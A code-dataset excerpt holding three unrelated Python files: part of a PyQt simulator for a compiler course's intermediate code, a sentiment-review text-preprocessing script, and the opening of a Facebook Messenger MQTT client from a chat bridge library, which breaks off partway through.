0:\n\t\t\tself.rowLabel.setText('Line %d' % (row+1))\n\t\telse:\n\t\t\tself.rowLabel.setText('')\n\t\t\t\n\t# Check the syntax of the line and update symbol&label table\n\tdef sanity_check(self, code, lineno):\n\t\tstrs = code.split()\n\t\trelops = [ '>', '<', '>=', '<=', '==', '!=' ]\n\t\tarithops = [ '+', '-', '*', '/' ]\n\t\ttry:\n\t\t\tif strs[0] == 'LABEL' or strs[0] == 'FUNCTION':\n\t\t\t\tif len(strs) != 3 or strs[2] != ':':\n\t\t\t\t\traise IRSyntaxError\n\t\t\t\tif strs[1] in self.labelTable:\n\t\t\t\t\traise DuplicatedLabelError\n\t\t\t\tself.labelTable[strs[1]] = lineno\n\t\t\t\tif strs[1] == 'main':\n\t\t\t\t\tif strs[0] == 'LABEL': raise IRSyntaxError\n\t\t\t\t\tself.entranceIP = lineno\n\t\t\t\tif strs[0] == 'FUNCTION':\n\t\t\t\t\tself.currentFunction = strs[1]\n\t\t\t\t\tself.functionDict[strs[1]] = list()\n\t\t\t\tself.codes.append(('LABEL', strs[1]))\n\t\t\telse:\n\t\t\t\tif self.currentFunction == None:\n\t\t\t\t\traise CurrentFunctionNoneError\n\t\t\t\tif strs[0] == 'GOTO':\n\t\t\t\t\tif len(strs) != 2:\n\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\tself.codes.append(('GOTO', strs[1]))\n\t\t\t\telif strs[0] == 'RETURN' or strs[0] == 'READ' or strs[0] == 'WRITE' or strs[0] == 'ARG' or strs[0] == 'PARAM':\n\t\t\t\t\tif len(strs) != 2:\n\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\tif (strs[0] == 'READ' or strs[0] == 'PARAM') and (not strs[1][0].isalpha()):\n\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\tself.tableInsert(strs[1])\n\t\t\t\t\tself.codes.append((strs[0], strs[1]))\n\t\t\t\telif strs[0] == 'DEC':\n\t\t\t\t\tif len(strs) != 3 or (int(strs[2]) % 4 != 0):\n\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\tif strs[1] in self.symTable:\n\t\t\t\t\t\traise DuplicatedVariableError\n\t\t\t\t\tself.tableInsert(strs[1], int(strs[2]), True)\n\t\t\t\t\tself.codes.append('DEC')\n\t\t\t\telif strs[0] == 'IF':\n\t\t\t\t\tif len(strs) != 6 or strs[4] != 'GOTO' or strs[2] not in relops:\n\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\tself.tableInsert(strs[1])\n\t\t\t\t\tself.tableInsert(strs[3])\n\t\t\t\t\tself.codes.append(('IF', strs[1], strs[2], strs[3], strs[5]))\n\t\t\t\telse:\n\t\t\t\t\tif strs[1] != ':=' or len(strs) < 3:\n\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\tif strs[0][0] == '&' or strs[0][0] == '#':\n\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\tself.tableInsert(strs[0])\n\t\t\t\t\tif strs[2] == 'CALL':\n\t\t\t\t\t\tif len(strs) != 4:\n\t\t\t\t\t\t\traise IRSyntaxError\n\t\t\t\t\t\tself.codes.append(('CALL', strs[0], strs[3]))\n\t\t\t\t\telif len(strs) == 3:\n\t\t\t\t\t\tself.tableInsert(strs[2])\n\t\t\t\t\t\tself.codes.append(('MOV', strs[0], strs[2]))\n\t\t\t\t\telif len(strs) == 5 and strs[3] in arithops:\n\t\t\t\t\t\tself.tableInsert(strs[2])\n\t\t\t\t\t\tself.tableInsert(strs[4])\n\t\t\t\t\t\tself.codes.append(('ARITH', strs[0], strs[2], strs[3], strs[4]))\n\t\t\t\t\telse:\n\t\t\t\t\t\traise IRSyntaxError\n\t\texcept (IRSyntaxError, ValueError):\n\t\t\tQMessageBox.critical(self, 'Error', 'Syntax error at line %d:\\n\\n%s' % (lineno+1, code))\n\t\t\treturn False\n\t\texcept DuplicatedLabelError:\n\t\t\tQMessageBox.critical(self, 'Error', 'Duplicated label %s at line %d:\\n\\n%s' % (strs[1], lineno+1, code))\n\t\t\treturn False\n\t\texcept DuplicatedVariableError:\n\t\t\tQMessageBox.critical(self, 'Error', 'Duplicated variable %s at line %d:\\n\\n%s' % (strs[1], lineno+1, code))\n\t\t\treturn False\n\t\texcept CurrentFunctionNoneError:\n\t\t\tQMessageBox.critical(self, 'Error', 'Line %d does not belong to any function:\\n\\n%s' % (lineno+1, code))\n\t\t\treturn False\n\t\treturn True\n\n\t# Check if there is undefined label\n\tdef labelCheck(self):\n\t\ttry:\n\t\t\tfor i in range(self.lineno):\n\t\t\t\tcode = unicode(self.codeList.item(i).text())\n\t\t\t\tstrs = code.split()\n\t\t\t\tif strs[0] == 'GOTO':\n\t\t\t\t\tif strs[1] not in self.labelTable:\n\t\t\t\t\t\traise UndefinedLabelError\n\t\t\t\telif strs[0] == 'IF':\n\t\t\t\t\tif strs[5] not in self.labelTable:\n\t\t\t\t\t\traise UndefinedLabelError\n\t\t\t\telif len(strs) > 2 and strs[2] == 'CALL':\n\t\t\t\t\tif strs[3] not in self.labelTable:\n\t\t\t\t\t\traise UndefinedLabelError\n\t\texcept UndefinedLabelError:\n\t\t\tQMessageBox.critical(self, 'Error', 'Undefined label at line %d:\\n\\n%s' % (i+1, code))\n\t\t\treturn False\n\t\treturn True\n\n\t# Insert variables into symTable\n\tdef tableInsert(self, var, size=4, array=False):\n\t\tif var.isdigit():\n\t\t\traise IRSyntaxError\n\t\tif var[0] == '&' or var[0] == '*': var = var[1:]\n\t\telif var[0] == '#':\n\t\t\ttest = int(var[1:])\n\t\t\treturn\n\t\tif var in self.symTable:return\n\t\tself.functionDict[self.currentFunction].append(var)\n\t\tif self.currentFunction == 'main':\n\t\t\tself.symTable[var] = self.offset, size, array\n\t\t\tself.offset += size\n\t\telse:\n\t\t\tself.symTable[var] = -1, size, array\n\t\t\n\t# Get Value from a variable\n\tdef getValue(self, var):\n\t\tif var[0] == '#':\n\t\t\treturn int(var[1:])\n\t\telif var[0] == '&':\n\t\t\treturn self.symTable[var[1:]][0]\n\t\telif var[0] == '*':\n\t\t\treturn self.mem[self.mem[self.symTable[var[1:]][0] / 4] / 4]\n\t\telse:\n\t\t\treturn self.mem[self.symTable[var][0]/ 4]\n\n\t# Populate watchTable from symTable\n\tdef displayWatchTable(self):\n\t\tfor row, key in enumerate(self.symTable.keys()):\n\t\t\tself.watchTable.insertRow(row)\n\t\t\titem = QTableWidgetItem(key)\n\t\t\titem.setTextAlignment(Qt.AlignRight|Qt.AlignVCenter)\n\t\t\tself.watchTable.setItem(row, 0, item)\n\t\t\tif self.symTable[key][0] >= 0:\n\t\t\t\titem = QTableWidgetItem(str(self.symTable[key][0]))\n\t\t\telse:\n\t\t\t\titem = QTableWidgetItem('N/A')\n\t\t\titem.setTextAlignment(Qt.AlignRight|Qt.AlignVCenter)\n\t\t\tself.watchTable.setItem(row, 1, item)\n\t\t\tif self.symTable[key][0] < 0:\n\t\t\t\titem = QTableWidgetItem('N/A')\n\t\t\telif self.symTable[key][1] > 4:\n\t\t\t\tstrs = str(self.mem[(self.symTable[key][0]/4) : (self.symTable[key][0]/4+self.symTable[key][1]/4)])\n\t\t\t\titem = QTableWidgetItem(strs)\n\t\t\telse :\n\t\t\t\titem = QTableWidgetItem(str(self.mem[self.symTable[key][0] / 4]))\n\t\t\t\t\n\t\t\titem.setTextAlignment(Qt.AlignRight|Qt.AlignVCenter)\n\t\t\tself.watchTable.setItem(row, 2, item)\n\t\tself.watchTable.sortItems(0)\n\n\t# Executed a single line\n\tdef execute_code(self, code):\n\t\t#print 'Excecuting code: ' , code\n\t\tself.instrCnt += 1\n\t\ttry:\n\t\t\tif code[0] == 'READ':\n\t\t\t\tresult, ok = QInputDialog.getInteger(self, 'IR Simulator - Read', 'Please enter an integral value for %s' % code[1], 0)\n\t\t\t\tif ok:\n\t\t\t\t\tself.mem[self.symTable[code[1]][0] / 4] = result\n\t\t\telif code[0] == 'WRITE':\n\t\t\t\tself.console.append(str(self.getValue(code[1])))\n\t\t\telif code[0] == 'GOTO':\n\t\t\t\tself.ip = self.labelTable[code[1]]\n\t\t\telif code[0] == 'IF':\n\t\t\t\tvalue1 = self.getValue(code[1])\n\t\t\t\tvalue2 = self.getValue(code[3])\n\t\t\t\tif eval(str(value1) + code[2] + str(value2)):\n\t\t\t\t\tself.ip = self.labelTable[code[4]]\n\t\t\telif code[0] == 'MOV':\n\t\t\t\tvalue = self.getValue(code[2])\n\t\t\t\tif code[1][0] == '*':\n\t\t\t\t\tself.mem[self.mem[self.symTable[code[1][1:]][0] / 4] / 4] = value\n\t\t\t\telse:\n\t\t\t\t\tself.mem[self.symTable[code[1]][0] / 4] = value\n\t\t\telif code[0] == 'ARITH':\n\t\t\t\tvalue1 = self.getValue(code[2])\n\t\t\t\tvalue2 = self.getValue(code[4])\n\t\t\t\tself.mem[self.symTable[code[1]][0] / 4] = eval(str(value1) + code[3] + str(value2))\n\t\t\telif code[0] == 'RETURN':\n\t\t\t\tif len(self.callStack) == 0:\n\t\t\t\t\treturn 1\n\t\t\t\telse:\n\t\t\t\t\treturnValue = self.getValue(code[1])\n\t\t\t\t\tstackItem = self.callStack.pop()\n\t\t\t\t\tself.ip = stackItem[0]\n\t\t\t\t\tfor key in stackItem[2].keys():\n\t\t\t\t\t\tself.symTable[key] = stackItem[2][key]\n\t\t\t\t\tself.offset = stackItem[3]\n\t\t\t\t\tself.mem[self.symTable[stackItem[1]][0] / 4] = returnValue\n\t\t\telif code[0] == 'CALL':\n\t\t\t\toldAddrs = dict()\n\t\t\t\toldOffset = self.offset\n\t\t\t\tfor key in self.functionDict[code[2]]:\n\t\t\t\t\toldAddrs[key] = self.symTable[key]\n\t\t\t\t\tself.symTable[key] = self.getNewAddr(self.symTable[key][1]), self.symTable[key][1], self.symTable[key][2]\n\t\t\t\tself.callStack.append((self.ip, code[1], oldAddrs, oldOffset))\n\t\t\t\tself.ip = self.labelTable[code[2]]\n\t\t\telif code[0] == 'ARG':\n\t\t\t\tself.argumentStack.append(self.getValue(code[1]))\n\t\t\telif code[0] == 'PARAM':\n\t\t\t\tself.mem[self.symTable[code[1]][0] / 4] = self.argumentStack.pop()\n\t\t\t# Not finished yet\n\t\texcept IndexError:\n\t\t\treturn 2\n\t\treturn 0\n\t\t\n\tdef getNewAddr(self, size):\n\t\tret = self.offset\n\t\tself.offset = self.offset + size\n\t\treturn ret\n\napp = QApplication(sys.argv)\napp.setOrganizationName('Nanjing University')\napp.setApplicationName('IR Simulator')\napp.setWindowIcon(QIcon(':/icon.png'))\napp.setStyle('Plastique')\nform = IRSim()\nform.show()\napp.exec_()\n\n","repo_name":"Unkrible/Compilers","sub_path":"Project3/irsim/irsim.py","file_name":"irsim.py","file_ext":"py","file_size_in_byte":15181,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"5882087463","text":"'''\nThis py script attempts to preprocess multi-line review data.\n\nSteps are:\n1) remove HTML tags \n2) renove multiple dots\n3) decontract words (eg I'm --> I am, etc)\n4) drop proper nouns such as names and lemmatize input words\n5) remove punctuations and lower-case \n6) generate embeddings (fasttext makes embeddings at n-gram level for unseen words\n so not necessary to check with word_vocab)\n\n'''\n\nimport pandas as pd\nimport re\nimport spacy\nimport numpy as np\nimport os\nimport fasttext\n\nWORD_DIM = 300\n\nroot_path = os.getcwd() +'/'\n\ndef decontracted(phrase):\n #
tags\n phrase = re.sub(r'<.*?>', '', phrase)\n \n # multiple dots\n phrase = re.sub(r'\\.+', '.', phrase)\n \n # specific\n phrase = re.sub(r\"won\\'t\", \"will not\", phrase)\n phrase = re.sub(r\"can\\'t\", \"can not\", phrase)\n\n # general\n phrase = re.sub(r\"n\\'t\", \" not\", phrase)\n phrase = re.sub(r\"\\'re\", \" are\", phrase)\n phrase = re.sub(r\"\\'s\", \" is\", phrase)\n phrase = re.sub(r\"\\'d\", \" would\", phrase)\n phrase = re.sub(r\"\\'ll\", \" will\", phrase)\n phrase = re.sub(r\"\\'t\", \" not\", phrase)\n phrase = re.sub(r\"\\'ve\", \" have\", phrase)\n phrase = re.sub(r\"\\'m\", \" am\", phrase)\n return phrase\n\ndef drop_proper_nouns(phrase):\n nlp = spacy.load(\"en_core_web_sm\")\n \n doc = nlp(phrase)\n \n string = ''\n for tok in doc:\n if tok.pos_ != 'PROPN':\n string += str(tok.lemma_) + ' '\n return string\n\ndef remove_punctuations(phrase):\n phrase = re.sub(r'\\W+ ',' ',phrase)\n \n phrase = phrase.lower()\n return phrase\n\ndef generate_embeddings(phrase, ft, word_vocab, word_dim=WORD_DIM):\n vec = []\n for word in phrase:\n if word in word_vocab:\n vec.append(ft.get_word_vector(word))\n return np.asarray(vec)\n\ndef preprocess_data_main(phrase, word_vocab_dict):\n phrase = decontracted(phrase)\n \n # phrase = drop_proper_nouns(phrase)\n \n phrase = remove_punctuations(phrase)\n \n # replace each word with its index from word_vocab\n w2idx = []\n for word in phrase:\n # adding with 2 as 1st and 2nd elemnt in weight matrix is and \n try:\n x = word_vocab_dict[word] + 2\n except KeyError:\n x = 1\n w2idx.append(x)\n w2idx = np.array(w2idx)\n # phrase_emb = generate_embeddings(phrase, ft_model, word_vocab)\n \n return w2idx\n\nif __name__ == '__main__':\n data_df = pd.read_csv(root_path + 'train_data.csv')\n \n # replace sentiment label with integer\n data_df['sentiment'] = data_df.sentiment.apply(lambda x: 1 if x == 'positive' else 0)\n \n test_review = data_df.review.iloc[10]\n \n# test_review = decontracted(test_review)\n \n# print('#'*50,'\\n\\n')\n# print(test_review)\n \n# test_review = drop_proper_nouns(test_review)\n \n# print('#'*50,'\\n\\n')\n# print(test_review)\n \n# test_review = remove_punctuations(test_review)\n \n# print('#'*50,'\\n\\n')\n# print(test_review)\n \n ft = fasttext.load_model('../HW-1/cc.en.300.bin')\n word_vocab = set(ft.words)\n \n test_review_emb = preprocess_data_main(test_review, ft, word_vocab)\n \n print('#'*50,'\\n\\n')\n print(test_review_emb.shape)\n ","repo_name":"RohitPrasad99/Sequence2SequenceForTextClassification","sub_path":"Preprocess.py","file_name":"Preprocess.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33176425264","text":"from __future__ import annotations\n\nfrom typing import Any, Awaitable, Callable, Type, TypeVar\nfrom collections import defaultdict\nfrom socket import error as SocketError, socket\nimport asyncio\nimport json\nimport logging\nimport random\nimport re\nimport time\nimport zlib\n\nfrom yarl import URL\nimport paho.mqtt.client as pmc\n\nfrom mautrix.util import background_task\nfrom mautrix.util.logging import TraceLogger\n\nfrom ..proxy import ProxyHandler\nfrom ..state import AndroidState\nfrom ..thrift import ThriftObject\nfrom ..types import (\n MarkReadRequest,\n MessageSyncPayload,\n NTContext,\n PHPOverride,\n RealtimeClientInfo,\n RealtimeConfig,\n RegionHintPayload,\n ResumeQueueRequest,\n SendMessageRequest,\n SendMessageResponse,\n SetTypingRequest,\n TypingNotification,\n)\nfrom ..types.mqtt import Mention, Presence\nfrom .events import Connect, Disconnect, ProxyUpdate\nfrom .otclient import MQTToTClient\nfrom .subscription import RealtimeTopic, topic_map\n\ntry:\n import socks\nexcept ImportError:\n socks = None\n\nT = TypeVar(\"T\")\nno_prefix_topics = (RealtimeTopic.TYPING_NOTIFICATION, RealtimeTopic.ORCA_PRESENCE)\nfb_topic_regex = re.compile(r\"^(?P/[a-z_]+|\\d+)(?P[|/#].+)?$\")\nREQUEST_TIMEOUT = 30\n\n\n# TODO add some custom stuff in these?\nclass MQTTNotLoggedIn(Exception):\n pass\n\n\nclass MQTTNotConnected(Exception):\n pass\n\n\nclass AndroidMQTT:\n _loop: asyncio.AbstractEventLoop\n _client: MQTToTClient\n log: TraceLogger\n state: AndroidState\n seq_id: int | None\n seq_id_update_callback: Callable[[int], None] | None\n connect_token_hash: bytes | None\n region_hint_callback: Callable[[str], None] | None\n connection_unauthorized_callback: Callable[[], None] | None\n enable_web_presence: bool\n _opened_thread: int | None\n _publish_waiters: dict[int, asyncio.Future]\n _response_waiters: dict[RealtimeTopic, asyncio.Future]\n _response_waiter_locks: dict[RealtimeTopic, asyncio.Lock]\n _disconnect_error: Exception | None\n _event_handlers: dict[Type[T], list[Callable[[T], Awaitable[None]]]]\n _outgoing_events: asyncio.Queue\n _event_dispatcher_task: asyncio.Task | None\n\n # region Initialization\n\n def __init__(\n self,\n state: AndroidState,\n loop: asyncio.AbstractEventLoop | None = None,\n log: TraceLogger | None = None,\n connect_token_hash: bytes | None = None,\n proxy_handler: ProxyHandler | None = None,\n ) -> None:\n self.seq_id = None\n self.seq_id_update_callback = None\n self.connect_token_hash = connect_token_hash\n self.region_hint_callback = None\n self.connection_unauthorized_callback = None\n self.enable_web_presence = False\n self._opened_thread = None\n self._publish_waiters = {}\n self._response_waiters = {}\n self._disconnect_error = None\n self._response_waiter_locks = defaultdict(lambda: asyncio.Lock())\n self._event_handlers = defaultdict(lambda: [])\n self._event_dispatcher_task = None\n self._outgoing_events = asyncio.Queue()\n self.log = log or logging.getLogger(\"maufbapi.mqtt\")\n self._loop = loop or asyncio.get_event_loop()\n self.state = state\n self._client = MQTToTClient(\n client_id=self._form_client_id(),\n clean_session=True,\n protocol=pmc.MQTTv31,\n transport=\"tcp\",\n )\n self.proxy_handler = proxy_handler\n self.setup_proxy()\n self._client.enable_logger()\n self._client.tls_set()\n # mqtt.max_inflight_messages_set(20) # The rest will get queued\n # mqtt.max_queued_messages_set(0) # Unlimited messages can be queued\n # mqtt.message_retry_set(20) # Retry sending for at least 20 seconds\n # mqtt.reconnect_delay_set(min_delay=1, max_delay=120)\n self._client.connect_async(\"edge-mqtt.facebook.com\", 443, keepalive=60)\n self._client.on_message = self._on_message_handler\n self._client.on_publish = self._on_publish_handler\n self._client.on_connect = self._on_connect_handler\n self._client.on_disconnect = self._on_disconnect_handler\n self._client.on_socket_open = self._on_socket_open\n self._client.on_socket_close = self._on_socket_close\n self._client.on_socket_register_write = self._on_socket_register_write\n self._client.on_socket_unregister_write = self._on_socket_unregister_write\n\n def setup_proxy(self):\n http_proxy = self.proxy_handler.get_proxy_url()\n if http_proxy:\n if not socks:\n self.log.warning(\"http_proxy is set, but pysocks is not installed\")\n else:\n proxy_url = URL(http_proxy)\n proxy_type = {\n \"http\": socks.HTTP,\n \"https\": socks.HTTP,\n \"socks\": socks.SOCKS5,\n \"socks5\": socks.SOCKS5,\n \"socks4\": socks.SOCKS4,\n }[proxy_url.scheme]\n self._client.proxy_set(\n proxy_type=proxy_type,\n proxy_addr=proxy_url.host,\n proxy_port=proxy_url.port,\n proxy_username=proxy_url.user,\n proxy_password=proxy_url.password,\n )\n\n def _clear_publish_waiters(self) -> None:\n for waiter in self._publish_waiters.values():\n if not waiter.done():\n waiter.set_exception(MQTTNotConnected(\"MQTT disconnected before PUBACK received\"))\n self._publish_waiters = {}\n\n def _form_client_id(self, force_password: bool = False) -> bytes:\n subscribe_topics = [\n RealtimeTopic.PRESENCE,\n \"/t_rtc\",\n \"/t_rtc_log\",\n \"/webrtc_response\",\n RealtimeTopic.MESSAGE_SYNC,\n \"/pp\",\n \"/webrtc\",\n \"/quick_promotion_refresh\",\n \"/t_omnistore_sync_low_pri\",\n \"/get_media_resp\",\n \"/t_dr_response\",\n \"/t_omnistore_sync\",\n \"/t_push\",\n \"/ixt_trigger\",\n \"/rs_resp\",\n RealtimeTopic.REGION_HINT,\n \"/t_trace\",\n RealtimeTopic.TYPING_NOTIFICATION,\n \"/sr_res\",\n \"/t_sp\",\n \"/t_rtc_multi\",\n \"/ls_resp\",\n # RealtimeTopic.SEND_MESSAGE_RESP,\n # RealtimeTopic.MARK_THREAD_READ_RESPONSE,\n ]\n\n if self.enable_web_presence:\n subscribe_topics.append(RealtimeTopic.ORCA_PRESENCE)\n\n topic_ids = [\n int(topic.encoded if isinstance(topic, RealtimeTopic) else topic_map[topic])\n for topic in subscribe_topics\n ]\n cfg = RealtimeConfig(\n client_identifier=self.state.device.uuid[:20],\n client_info=RealtimeClientInfo(\n user_id=self.state.session.uid,\n user_agent=self.state.user_agent_meta,\n client_capabilities=0b110110111,\n endpoint_capabilities=0b1011010,\n publish_format=2,\n no_automatic_foreground=True,\n make_user_available_in_foreground=False,\n device_id=self.state.device.uuid,\n is_initially_foreground=True,\n network_type=1 if self.state.device.connection_type == \"WIFI\" else 0,\n network_subtype=0 if self.state.device.connection_type == \"WIFI\" else 13,\n client_mqtt_session_id=int(time.time() * 1000) & 0xFFFFFFFF,\n subscribe_topics=topic_ids,\n client_type=\"\",\n app_id=int(self.state.application.client_id),\n region_preference=self.state.session.region_hint,\n device_secret=\"\",\n client_stack=3,\n network_type_info=7 if self.state.device.connection_type == \"WIFI\" else 4,\n ),\n password=self.state.session.access_token,\n app_specific_info={\n \"ls_sv\": str(self.state.application.version_id),\n \"ls_fdid\": self.state.device.fdid,\n },\n combined_publishes=[],\n php_override=PHPOverride(),\n )\n if self.connect_token_hash:\n self.log.trace(\"Using connect_token_hash to connect %s\", self.connect_token_hash)\n if not force_password:\n cfg.password = \"\"\n cfg.client_info.device_id = \"\"\n cfg.client_info.user_agent = self.state.minimal_user_agent_meta\n cfg.client_info.connect_token_hash = self.connect_token_hash\n else:\n self.log.trace(\"Making fresh connection\")\n return zlib.compress(cfg.to_thrift(), level=9)\n\n # endregion\n\n def _on_socket_open(self, client: MQTToTClient, _: Any, sock: socket) -> None:\n self._loop.add_reader(sock, client.loop_read)\n\n def _on_socket_close(self, client: MQTToTClient, _: Any, sock: socket) -> None:\n self._loop.remove_reader(sock)\n\n def _on_socket_register_write(self, client: MQTToTClient, _: Any, sock: socket) -> None:\n self._loop.add_writer(sock, client.loop_write)\n\n def _on_socket_unregister_write(self, client: MQTToTClient, _: Any, sock: socket) -> None:\n self._loop.remove_writer(sock)\n\n def _on_connect_handler(\n self, client: MQTToTClient, _: Any, flags: dict[str, Any], rc: int\n ) -> None:\n if rc != 0:\n if rc == pmc.MQTT_ERR_INVAL:\n self.log.error(\"MQTT connection error, regenerating client ID\")\n # self.connect_token_hash = None\n self._client.set_client_id(self._form_client_id(force_password=True))\n else:\n err = pmc.connack_string(rc)\n self.log.error(\"MQTT Connection Error: %s (%d)\", err, rc)\n if (\n rc == pmc.CONNACK_REFUSED_NOT_AUTHORIZED\n and self.connection_unauthorized_callback\n ):\n self.connection_unauthorized_callback()\n return\n\n background_task.create(self._post_connect())\n\n def _on_disconnect_handler(self, client: MQTToTClient, _: Any, rc: int) -> None:\n err_str = \"Generic error.\" if rc == pmc.MQTT_ERR_NOMEM else pmc.error_string(rc)\n self.log.debug(f\"MQTT disconnection code %d: %s\", rc, err_str)\n self._clear_publish_waiters()\n\n @property\n def _sync_queue_params(self) -> dict[str, Any]:\n return {\n \"client_delta_sync_bitmask\": \"1AgP1f58Ym+r0YAFf7LNgA\",\n \"graphql_query_hashes\": {\"xma_query_id\": \"0\"},\n \"graphql_query_params\": {\n \"0\": {\n \"xma_id\": \"\",\n \"small_preview_width\": 716,\n \"small_preview_height\": 358,\n \"large_preview_width\": 1500,\n \"large_preview_height\": 750,\n \"full_screen_width\": 4096,\n \"full_screen_height\": 4096,\n \"blur\": 0,\n \"nt_context\": {\n \"styles_id\": NTContext().styles_id,\n \"pixel_ratio\": 3,\n },\n \"use_oss_id\": True,\n \"client_doc_id\": \"22267258153674992339648494933\",\n }\n },\n }\n\n @property\n def _sync_create_queue_data(self) -> dict[str, Any]:\n return {\n \"initial_titan_sequence_id\": self.seq_id,\n \"delta_batch_size\": 125,\n \"device_params\": {\n \"image_sizes\": {\n \"0\": \"4096x4096\",\n \"4\": \"358x358\",\n \"1\": \"750x750\",\n \"2\": \"481x481\",\n \"3\": \"358x358\",\n },\n \"animated_image_format\": \"WEBP,GIF\",\n \"animated_image_sizes\": {\n \"0\": \"4096x4096\",\n \"4\": \"358x358\",\n \"1\": \"750x750\",\n \"2\": \"481x481\",\n \"3\": \"358x358\",\n },\n \"thread_theme_background_sizes\": {\"0\": \"2048x2048\"},\n \"thread_theme_icon_sizes\": {\"1\": \"138x138\", \"3\": \"66x66\"},\n \"thread_theme_reaction_sizes\": {\"1\": \"83x83\", \"3\": \"39x39\"},\n },\n \"entity_fbid\": self.state.session.uid,\n \"sync_api_version\": 10,\n \"queue_params\": self._sync_queue_params,\n }\n\n @property\n def _sync_resume_queue_data(self) -> ResumeQueueRequest:\n return ResumeQueueRequest(\n last_seq_id=self.seq_id,\n sync_api_version=10,\n queue_params=json.dumps(self._sync_queue_params, separators=(\",\", \":\")),\n )\n\n async def _post_connect(self) -> None:\n self._opened_thread = None\n self.log.debug(\"Re-creating sync queue after reconnect\")\n await self._dispatch(Connect())\n await self.publish(\n \"/ls_req\",\n {\n \"label\": \"1\",\n \"payload\": json.dumps(\n {\n \"app_state\": 1,\n \"request_id\": \"android_request_id\",\n }\n ),\n \"version\": str(self.state.application.version_id),\n },\n )\n if self.connect_token_hash is not None:\n await self.publish(\n RealtimeTopic.SYNC_RESUME_QUEUE, self._sync_resume_queue_data, prefix=b\"\\x00\"\n )\n else:\n await self.publish(RealtimeTopic.SYNC_CREATE_QUEUE, self._sync_create_queue_data)\n\n def _on_publish_handler(self, client: MQTToTClient, _: Any, mid: int) -> None:\n try:\n waiter = self._publish_waiters.pop(mid)\n except KeyError:\n return\n if not waiter.done():\n waiter.set_result(None)\n\n # region Incoming event parsing\n\n def _update_seq_id(self, msp: MessageSyncPayload) -> None:\n if msp.last_seq_id and msp.last_seq_id > self.seq_id:\n self.seq_id = msp.last_seq_id\n self.seq_id_update_callback(self.seq_id)\n\n def _on_message_sync(self, payload: bytes) -> None:\n try:\n parsed = MessageSyncPayload.from_thrift(payload)\n except Exception:\n self.log.debug(\"Failed to parse message sync payload %s\", payload, exc_info=True)\n return\n self._update_seq_id(parsed)\n if parsed.error:\n background_task.create(self._dispatch(parsed.error))\n for item in parsed.items:\n for event in item.get_parts():\n self._outgoing_events.put_nowait(event)\n if parsed.items and not self._event_dispatcher_task:\n self._event_dispatcher_task = asyncio.create_task(self._dispatcher_loop())\n\n def _on_typing_notification(self, payload: bytes) -> None:\n try:\n parsed = TypingNotification.from_thrift(payload)\n except Exception:\n self.log.debug(\"Failed to parse typing notification %s\", payload, exc_info=True)\n return\n background_task.create(self._dispatch(parsed))\n\n def _on_presence(self, payload: bytes) -> None:\n try:\n presence = Presence.deserialize(json.loads(payload))\n background_task.create(self._dispatch(presence))\n except Exception:\n self.log.debug(\"Failed to parse presence payload %s\", payload, exc_info=True)\n return\n\n def _on_region_hint(self, payload: bytes) -> None:\n rhp = RegionHintPayload.from_thrift(payload)\n if self.region_hint_callback:\n self.region_hint_callback(rhp.region_hint.code)\n\n def _on_message_handler(self, client: MQTToTClient, _: Any, message: pmc.MQTTMessage) -> None:\n try:\n is_compressed = message.payload.startswith(b\"x\\xda\")\n if is_compressed:\n message.payload = zlib.decompress(message.payload)\n match = fb_topic_regex.match(message.topic)\n if not match:\n self.log.warning(\"Failed to parse MQTT topic %s\", message.topic)\n return\n topic_str, extra = match.groups()\n if extra:\n self.log.trace(\"Got extra data in topic %s: %s\", message.topic, extra)\n topic = RealtimeTopic.decode(topic_str)\n if topic not in no_prefix_topics or message.payload.startswith(b\"\\x00\"):\n _, message.payload = message.payload.split(b\"\\x00\", 1)\n\n if topic == RealtimeTopic.MESSAGE_SYNC:\n self._on_message_sync(message.payload)\n elif topic == RealtimeTopic.TYPING_NOTIFICATION:\n self._on_typing_notification(message.payload)\n elif topic == RealtimeTopic.ORCA_PRESENCE:\n self._on_presence(message.payload)\n elif topic == RealtimeTopic.PRESENCE:\n # TODO remove orca_presence support and use this instead\n self.log.trace(\"Got presence payload: %s\", message.payload)\n elif topic == RealtimeTopic.REGION_HINT:\n self._on_region_hint(message.payload)\n else:\n try:\n waiter = self._response_waiters.pop(topic)\n except KeyError:\n self.log.debug(\"No handler for MQTT message in %s: %s\", topic, message.payload)\n else:\n if not waiter.done():\n waiter.set_result(message)\n else:\n self.log.debug(\n \"Got response in %s, but waiter was already cancelled: %s\",\n topic,\n message.payload,\n )\n except Exception:\n self.log.exception(\"Error in incoming MQTT message handler\")\n self.log.trace(\"Errored MQTT payload: %s\", message.payload)\n\n # endregion\n\n async def _reconnect(self) -> None:\n try:\n self.log.trace(\"Trying to reconnect to MQTT\")\n self._client.reconnect()\n except (SocketError, OSError, pmc.WebsocketConnectionError) as e:\n raise MQTTNotLoggedIn(\"MQTT reconnection failed\") from e\n\n def add_event_handler(\n self, evt_type: Type[T], handler: Callable[[T], Awaitable[None]]\n ) -> None:\n self._event_handlers[evt_type].append(handler)\n\n async def _dispatch(self, evt: T) -> None:\n for handler in self._event_handlers[type(evt)]:\n self.log.trace(\"Dispatching event %s\", evt)\n try:\n await handler(evt)\n except Exception:\n self.log.exception(f\"Error in {type(evt).__name__} handler\")\n\n def disconnect(self) -> None:\n self._client.disconnect()\n\n async def _dispatcher_loop(self) -> None:\n loop_id = f\"{hex(id(self))}#{time.monotonic()}\"\n self.log.debug(f\"Dispatcher loop {loop_id} starting\")\n try:\n while True:\n evt = await self._outgoing_events.get()\n await asyncio.shield(self._dispatch(evt))\n except asyncio.CancelledError:\n tasks = self._outgoing_events\n self._outgoing_events = asyncio.Queue()\n if not tasks.empty():\n self.log.debug(\n f\"Dispatcher loop {loop_id} stopping after dispatching {tasks.qsize()} events\"\n )\n while not tasks.empty():\n await self._dispatch(tasks.get_nowait())\n raise\n finally:\n self.log.debug(f\"Dispatcher loop {loop_id} stopped\")\n\n async def listen(self, seq_id: int, retry_limit: int = 5) -> None:\n self.seq_id = seq_id\n\n self.log.debug(\"Connecting to Messenger 